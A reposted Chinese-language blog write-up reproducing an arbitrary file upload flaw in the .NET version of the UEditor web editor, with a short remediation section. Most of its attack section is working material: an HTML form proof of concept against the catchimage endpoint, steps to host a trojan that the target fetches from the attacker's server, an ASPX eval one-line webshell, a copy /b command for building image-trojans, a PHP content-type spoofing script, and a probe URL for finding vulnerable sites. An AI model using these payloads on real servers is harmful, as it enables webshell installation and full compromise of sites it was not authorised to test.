UEditor .Net版本任意文件上传漏洞复现总结
UEditor .Net版本任意文件上傳漏洞復現總結 - 知乎 (zhihu.com)
這個洞有一定年數了,是2018年發現的(從下圖的shodan中可以得知,該漏洞已經被大部分黑客SEO利用),最近看到一個表哥研究這個洞,就順便拿來復現分析了一波。
一、漏洞介紹
Ueditor是百度開發的一個網站編輯器,目前已經不對其進行后續開發和更新,該漏洞只存在于該編輯器的.net版本。
漏洞的成因是在獲取圖片資源時僅檢查了ContentType,導致可以繞過達到任意文件上傳。
Crawler方法對source[]的檢查僅僅是一個ContentType,這個真的很佛系了。
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
二、漏洞復現
1、我們可以利用post方法直接上傳文件到目標網站
Poc:
<form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST"><p>shell addr: <input type="text" name="source[]" /></p><input type="submit" value="Submit" /></form>
其中【http://xx.com】填寫你要測試的網站地址,action后填寫路徑為實際中遇到的路徑,不要太死板,如果太死板不按網站的實際路徑來就會出現這種路徑找不到的錯誤。
在復現這個漏洞的時候,你可能需要一個服務器,上傳你的木馬文件,其中【shell addr】后填寫的就是你服務器上木馬的地址加上后綴(?.aspx)。
經過反復測試發現,其實只要繞過【image】檢測就可以正常上傳到目標服務器了,從而進一步getshell。
如果你沒有繞過【image】檢測的話,就會顯示如下提示:
如果你成功上傳的話就會返回你上傳文件的路徑地址。
針對檢測機制的繞過方法,我上傳了php木馬和aspx圖片馬進行getshell,均可以成功getshell,不過在權限的利用方面,php木馬無法進行文件的刪除操作,而aspx可以進行文件的刪除操作。
當木馬成功上傳到目標服務器之后,直接菜刀連接就可以了。
三、漏洞修復
1.修改工程目錄下net/App_Code/CrawlerHandler.cs文件,添加對文件類型檢查的代碼。
2.使用各類WAF軟件,防止攻擊者上傳惡意文件。
3.檢查文件上傳路徑下是否有近期上傳的畸形圖片;檢查是否存在asp,aspx等類型危險文件。如果發現異常文件,請判斷后及時刪除。
———————————————-分割線—————————————————–
PS:
1.aspx圖片馬繞過檢測
aspx一句話:
<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>
cmd中寫圖片馬命令(已經存在1.jpg和2.aspx,3.aspx就是制作成功的圖片馬)
copy 1.jpg/b +2.aspx 3.aspx
2.php偽造類型繞過
<?php
header('Content-type: image/jpeg');
echo "<% eval request(\"zhanan\") %>";
?>
其中的a.jpg即為我的圖片馬,c.php為php一句話木馬。(注意:不是在服務器上保存文件類型為a.jpg?.aspx或者c.php?.aspx,而是只要在【shell addr】添加后綴(a.jpg?.aspx或者c.php?.aspx)就行了。)
3.可在網址添加/controller.ashx?action=catchimage參數查看是否漏洞存在, 出現下圖字樣基本就是存在該漏洞的。
參考:
https://zhengbao.wang/UEditor-net%E7%89%88%E6%9C%AC%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/
UEditor .net版本 getshell
總結
以上是生活随笔為你收集整理的UEditor .Net版本任意文件上传漏洞复现总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: springboot 历史版本文档_乘风
- 下一篇: statusbar 尺寸 显示图标_移动